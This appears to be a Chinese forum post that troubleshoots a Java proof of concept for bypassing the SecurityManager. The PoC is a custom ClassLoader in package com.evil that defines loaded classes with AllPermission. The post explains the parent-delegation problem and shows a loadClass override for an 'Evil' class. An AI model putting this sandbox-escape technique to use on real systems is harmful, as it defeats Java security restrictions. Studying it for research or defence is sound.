自定义ClassLoader绕过poc为什么很多人执行出现问题的缘由
看代码:
package com.evil;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
import java.security.*;
import java.security.cert.Certificate;
public class MyClassLoader extends ClassLoader {
public MyClassLoader() {
}
public MyClassLoader(ClassLoader parent) {
super(parent);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
File file = getClassFile(name);
try {
byte[] bytes = getClassBytes(file);
//在这里调用defineClazz,而不是super.defineClass
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
try {
PermissionCollection pc=new Permissions();
pc.add(new AllPermission());
//设置ProtectionDomain
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
return this.defineClass(name, b, off, len, pd);
} catch (Exception e) {
return null;
}
}
private File getClassFile(String name) {
File file = new File("./" + name + ".class");
return file;
}
private byte[] getClassBytes(File file) throws Exception {
FileInputStream fis = new FileInputStream(file);
FileChannel fc = fis.getChannel();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
WritableByteChannel wbc = Channels.newChannel(baos);
ByteBuffer by = ByteBuffer.allocate(1024);
while (true) {
int i = fc.read(by);
if (i == 0 || i == -1) {
break;
}
by.flip();
wbc.write(by);
by.clear();
}
fis.close();
return baos.toByteArray();
}
}
作者君定义的ClassLoader,没有override,也就是重写loadClass,而默认ClassLoader加载class的入口就在loadClass(name)方法,看:
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
可以看到上面的代码,对,就是双亲委托模型,会先让为父的先加载emm,然后,重点来了:
很多人吧Evil这个类放在了当前的classpath上,什么意思呢?就是如果你现在正在idea中测试,而Evil这个类文件就放在当前工程src下,那么在build、run的时候,classpath就会有你的Evil.class,这样就会导致双亲委托,让为父的代替你去加载了,所以你自定义的就加载不了咯,呵呵,所以,看到这里,你不知道要怎么办呢?我就免费教你一招!~~
在自定义的ClassLoader中重写loadClass方法:
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Evil")) {
return findClass(name);
}
return super.loadClass(name);
}
好啦,酱紫,就不需要委托为父的帮你加载啦
#1